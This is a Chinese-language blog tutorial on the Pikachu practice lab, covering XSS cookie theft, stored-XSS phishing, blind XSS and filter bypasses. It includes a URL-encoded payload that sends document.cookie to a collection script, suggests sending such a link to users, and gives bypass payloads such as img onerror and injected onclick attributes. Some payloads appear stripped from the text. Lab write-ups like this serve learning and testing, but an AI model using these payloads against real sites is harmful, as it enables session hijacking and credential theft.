xss

xss后台的搭建
1 打开pikachu找到管理工具xss后台

2.如果没设置密码需要打开xampp文件夹再到htdocs到文件夹再到pikachu文件夹和pkxss文件夹和inc文件夹。打开config.inc.php这里我将密码的root改成了空。

3. 点击xss后台看到下面的界面就是成功了

4.进行登录页面,登录进去即可。


5.这里,我们可以把这个xss后台放到另外一个浏览器或者新的标签页进行。

xss(get)的窃取和利用
1.这里需要先修改maxlength的长度
然后输入
提交后就可以在后台获取到cookie。(这里我提交了两次,所以有两条记录)

2.在实际的场景中我们可以把http://127.0.0.1:89/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F127.0.0.1%3A89%2Fpikachu%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27%2Bdocument.cookie%3B%3C%2Fscript%3E&submit=submit发送给用户,一旦他访问啦这个链接,我们便会获得他的cookie值.
xss(post)

  1. 我们首先是登录一下

    2.这里是以POST的方式提交的,参数内容不会出现在URL中,可以抓包看一下

    3.所以要先把站点搭建好,打开pikachu里的post.html,根据自己的实际情况修改IP地址。然后在新的浏览器或者新的标签页的URL输入伪造的post.html站点 (注:站点要输入和自己在post.html里设置的地址一样,不然就出错)
    http://127.0.0.1:89/pikachu/pkxss/xcookie/post.html
    4.打开xss后台刷新,就能看到已经获取了cookie

xss漏洞钓鱼
攻击者可以在一个有存储型XSS漏洞的网站中嵌入恶意代码,每当用户访问该网站站点时就会自动触发(前面已经说过了存储型XSS是永久的),弹出一个提示框,当用户防范意识不高,在提示框中输入信息,那么该信息就会上传到攻击者的后台。
思路:构造一个payload嵌入到网页中,让用户每次访问这个页面时都会执行我们的payload.
1.首先要修改一下pikachu的fish.php文件里的管理后台IP地址

2.在存储型XSS中输入JavaScript代码,提交后会弹出提醒。

3.模拟用户输入账号密码。

一:xss之盲打
1.输入,第二个方框里随便输入如‘搜索’,输入后的结果不在前端显示,也就是
只有后台能看到输入的内容,从前端无法判断是否存在XSS。输入的内容并不会在前端显示,而是提交到了后台,只有后台管理员可以看见。

2.点一下提示,将admin_login.php替换一下http://127.0.0.1:89/pikachu/vul/xss/xssblind/xss_blind.php#变成http://127.0.0.1:89/pikachu/vul/xss/xssblind/admin_login.php,进行访问。输入正确的账户密码。如admin 123456点击提交点击Login 登陆之后会弹出小窗,说明后台受到了XSS攻击

这种就是也是存储型的,将前端的数据存储到后台,后台如果没有进行过滤的话会使攻击者嵌入恶意代码进行登录获取到后台的信息。这种漏洞属于随机性质的,刚好后台没有做处理,攻击者就可以采取这种方式进行 暗箱操作。这种危害也是挺大的。

二:xss-绕过-过滤-编码
这是系统防止恶意代码的执行,设定的安全措施,主要是过滤特殊的头文件
---前端限制绕过,直接抓包重放,或者修改html前端代码。比如反射型XSS(get)中限制输入20个字符。
----大小写,比如。后台可能用正则表达式匹配,如果正则里面只匹配小写,那就可能被绕过。
----双写(拼凑),<script>。后台可能把

1.将大小写混合可以避免。提交后会看到弹窗,说明我们可以绕过后台的安全措施。可以发现他只对小写过滤。
3.因为它只过滤script标签,所以也可以输入<img src=x onerror="alert(111)"/

三:xss绕过---关于htm/specia/chars()函数
htmlspecialchars()是PHP里面把预定义的字符转换为HTML实体的函数
预定义的字符是
------& 成为 &amp
------" 成为 &quot
------' 成为 &#039
------< 成为 &lt
------> 成为 &gt
可用引号类型
------ENT_COMPAT:默认,仅编码双引号
------ENT_QUOTES:编码双引号和单引号
------ENT_NOQUOTES:不编码任何引号
1.首先我们输入带有特殊字符的和唯一标识符 111'"<>&
2.发现只有单引号没被转义,那我们就构造一个特殊字符只有单引号的句子输入 q' onclick='alert(111)' ,回车之后需要点击蓝色的记录,成功出来弹框

四.xss防范
(1)XSS之herf输出
发现a标签的href属性里面,可以使用javascript协议来执行js
输入 javascript:alert(111)看见输出弹窗

(2)XSS之js输出
它会把我们的输入放到js中,然后对这个变量进行判断,然后再输出
我们可以构造一个闭合,先用一个单引号和闭合掉页面中的

原文地址:https://www.cnblogs.com/ruoxi/p/13196605.html